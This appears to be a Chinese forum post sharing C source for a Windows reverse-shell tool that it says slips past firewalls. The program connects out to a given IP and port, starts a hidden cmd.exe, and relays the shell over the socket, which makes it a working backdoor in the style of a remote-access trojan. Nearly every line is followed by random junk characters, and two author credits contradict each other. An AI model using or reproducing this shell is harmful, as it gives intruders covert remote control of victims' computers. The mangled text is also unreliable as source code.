这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a:P%
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/* ============================== W]reQ&<Z
Rebound port in Windows NT cL`l1:j\}
By wind,2006/7 "_5av!;A
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===============================*/ #>!!#e!*
#include <hS >L1ZSr
#include Le_?x
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#pragma comment(lib,"wsock32.lib") R=PjLH&)
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void OutputShell(); 33
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SOCKET sClient; k.0$~juu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BeP0lZ
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void main(int argc,char **argv) *a\1*Jk
{ i\,#Z!
WSADATA stWsaData; 6IeHZ)jGj
int nRet; `bivAL
SOCKADDR_IN stSaiClient,stSaiServer; Vwl`A3Y
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if(argc != 3) O^`Y>>a
{ 2uqdx'^"
printf("Useage:\n\rRebound DestIP DestPort\n"); Jd)|==yD
return; L+d_+:w
} YZ'gd10T
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5qUyOkI
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?1 ?m4i
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stSaiClient.sin_family = AF_INET; *Q5/d9B8TN
stSaiClient.sin_port = htons(0); }JvyjE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .}]5y4UQ.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) opdi5e)jK
{ lZE x0
printf("Bind Socket Failed!\n"); QiB:K Pz[
return; Ns&SZO
} %'@&j2j>
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stSaiServer.sin_family = AF_INET; 5f}wQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XCQ=`3f
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +*F ;l\R
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _f2(vWCW;J
{ 7e>n{rl
printf("Connect Error!"); !J'BAq[x
return; D0tI
} bi[vs|
OutputShell(); f~8Xue,l"
} &5c)qap;n
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void OutputShell() O,XVA
{ 2;U(r:]
char szBuff[1024]; ,in`JM<o
SECURITY_ATTRIBUTES stSecurityAttributes; jD'\\jAUdm
OSVERSIONINFO stOsversionInfo; s#-`,jqD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H8rDG/>^
STARTUPINFO stStartupInfo; M~p=OM<
char *szShell; aJK8G,Vk
PROCESS_INFORMATION stProcessInformation; 4GeWo@8h
unsigned long lBytesRead; ]KLjQpd
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d5UdRX]*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U''/y\Z
stSecurityAttributes.lpSecurityDescriptor = 0; Ftu4 V*lD
stSecurityAttributes.bInheritHandle = TRUE; _}{C?611c
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \:%e 6M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FE" ksi 9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *oKc4S+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d
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stStartupInfo.wShowWindow = SW_HIDE; Mb"i}Yt{
stStartupInfo.hStdInput = hReadPipe; /87?U; |V
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \Om.pOz
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GetVersionEx(&stOsversionInfo); ezgP\ct
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switch(stOsversionInfo.dwPlatformId) x9p,j
{ [;
case 1: xOt%H\*k"
szShell = "command.com"; :Fm;0R@/k
break; IlN9IF\9L
default: H?m9HBDpn
szShell = "cmd.exe"; PB(mUD2"r
break; XFUlV;ek
} 0 P3^#j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h2QoBGL5
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send(sClient,szMsg,77,0); :&S6AP
while(1) ]N!8U_U3
{ &"p7X>bd
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fb0i6RC~&
if(lBytesRead) D
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{ ( d#E16y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wrSw> sE"
send(sClient,szBuff,lBytesRead,0); U(4>e!
} ('hr;s=
else z/dpnGX
{ 7_xQa$U[
lBytesRead=recv(sClient,szBuff,1024,0); @eU;oRVc{
if(lBytesRead<=0) break; }1kT0*'L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $ @QF<?i~
} *~YU0o
} o
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return; (,*e\o
}